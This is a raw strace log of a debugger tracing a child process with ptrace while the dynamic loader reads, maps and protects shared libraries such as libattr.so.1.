wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd818]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd818, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd820, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd828, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd830, [0x5ca0]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 82) = 82
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd6b0]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6b0, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6b8, [0x20b43]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6c0, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6c8, [0x81ed]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6d0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6d8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6e0, [0x21383]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6e8, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f0, [0x110]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f8, [0x4d81a77b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd700, [0x494e8e1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd708, [0x4d39feb1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd710, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd718, [0x4d8055e9]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd720, [0xecc2d69]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd728, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd730, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd738, [0]) = 0
write(2, "{st_mode=S_IFREG|0755, st_size=1"..., 49) = 49
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fdd000]) = 0
write(2, ") = 0x7ffff7fdd000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x21c3a0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2212768, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff700a000]) = 0
write(2, ") = 0x7ffff700a000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7022000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff7022000, 2093056"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7221000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x17000]) = 0
write(2, "mmap(0x7ffff7221000, 8192, PROT_"..., 96) = 96
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7221000]) = 0
write(2, ") = 0x7ffff7221000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7223000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x33a0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x32]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(0x7ffff7223000, 13216, PROT"..., 92) = 92
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7223000]) = 0
write(2, ") = 0x7ffff7223000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff57df]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57d8, [0x2f00312e6f732e72]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57e0, [0x6162696c2f62696c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57e8, [0x312e6f732e727474]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57f0, [0x7274746162696c00]) = 0
write(2, "open(\"/lib/libattr.so.1\", O_RDON"..., 34) = 34
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 10) = 10
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd6e8]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6e8, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f8, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd700, [0x1220]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 80) = 80
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd580]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd580, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd588, [0x20a06]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd590, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd598, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5a0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5a8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5b0, [0x4910]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5b8, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5c0, [0x28]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5c8, [0x4d81a75d]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5d0, [0x33ab56a2]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5d8, [0x4c0e7cec]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5e0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5e8, [0x4d340da7]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5f0, [0xd184f6b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5f8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd600, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd608, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 48) = 48
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2040d0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2113744, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff6e05000]) = 0
write(2, ") = 0x7ffff6e05000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff6e09000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff6e09000, 2093056"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
